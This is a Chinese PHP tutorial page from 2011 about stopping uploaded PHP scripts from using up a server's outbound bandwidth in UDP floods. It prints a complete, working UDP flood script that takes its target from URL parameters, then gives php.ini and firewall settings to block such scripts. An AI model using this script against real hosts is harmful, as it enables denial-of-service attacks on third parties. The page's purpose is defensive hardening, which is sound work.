防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
40个迹象表明你还是PHP菜鸟
Sep 29 PHP
php配置php-fpm启动参数及配置详解
Nov 04 PHP
保存到桌面、设为桌面且带图标的PHP代码
Nov 19 PHP
php利用新浪接口查询ip获取地理位置示例
Jan 20 PHP
浅析php创建者模式
Nov 25 PHP
php天翼开放平台短信发送接口实现方法
Dec 22 PHP
php实现zip文件解压操作
Nov 03 PHP
php版微信公众平台接口参数调试实现判断用户行为的方法
Sep 23 PHP
PHP中检索字符串的方法分析【strstr与substr_count方法】
Feb 17 PHP
php输出反斜杠的实例方法
Sep 19 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 PHP
laravel自定义分页的实现案例offset()和limit()
Oct 15 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
php小偷相关截取函数备忘
2010/11/28 PHP
php中转义mysql语句的实现代码
2011/06/24 PHP
javascript 异常处理使用总结
2009/06/21 Javascript
JavaScript 学习笔记(五)
2009/12/31 Javascript
JS面向对象编程之对象使用分析
2010/08/19 Javascript
JQuery学习笔记 nt-child的使用
2011/01/17 Javascript
jquery实现tr元素的上下移动示例代码
2013/12/20 Javascript
JavaScript的strict模式与with关键字介绍
2014/02/08 Javascript
JS实现一个列表中包含上移下移删除等功能
2014/09/24 Javascript
省市区三级联动下拉框菜单javascript版
2015/08/11 Javascript
jQuery仅用3行代码实现的显示与隐藏功能完整实例
2015/10/08 Javascript
JavaScript驾驭网页-CSS与DOM
2016/03/24 Javascript
JavaScript中的toString()和toLocaleString()方法的区别
2017/02/15 Javascript
详解nodejs express下使用redis管理session
2017/04/24 NodeJs
jQuery Form插件使用详解_动力节点Java学院整理
2017/07/17 jQuery
Angular 2.0+ 的数据绑定的实现示例
2017/08/09 Javascript
jq源码解析之绑在$,jQuery上面的方法(实例讲解)
2017/10/13 jQuery
基于Vuex无法观察到值变化的解决方法
2018/03/01 Javascript
详解如何在vue项目中使用eslint+prettier格式化代码
2018/11/10 Javascript
node.js爬虫框架node-crawler初体验
2020/10/29 Javascript
在vs code 中如何创建一个自己的 Vue 模板代码
2020/11/10 Javascript
[01:34]2014DOTA2 TI预选赛预选赛 选手比赛房大揭秘!
2014/05/20 DOTA
Win10下python3.5和python2.7环境变量配置教程
2018/09/18 Python
Opencv实现抠图背景图替换功能
2019/05/21 Python
python挖矿算力测试程序详解
2019/07/03 Python
css3.0 图形构成实例练习二
2013/03/19 HTML / CSS
绩效专员岗位职责
2013/12/02 职场文书
《美丽的丹顶鹤》教学反思
2014/04/22 职场文书
街道党工委党的群众路线教育实践活动对照检查材料思想汇报
2014/10/05 职场文书
2014年工程工作总结
2014/11/25 职场文书
单位实习鉴定评语
2015/01/04 职场文书
2015年公司国庆放假通知
2015/07/30 职场文书
2016年感恩节活动总结大全
2016/04/01 职场文书
如何书写先进事迹材料?
2019/07/02 职场文书
李白经典诗之一:全文无一“月”字,却句句有月
2019/07/12 职场文书
vue-cli3.0修改打包后的文件名和文件地址,打包后本地运行报错解决
2022/04/06 Vue.js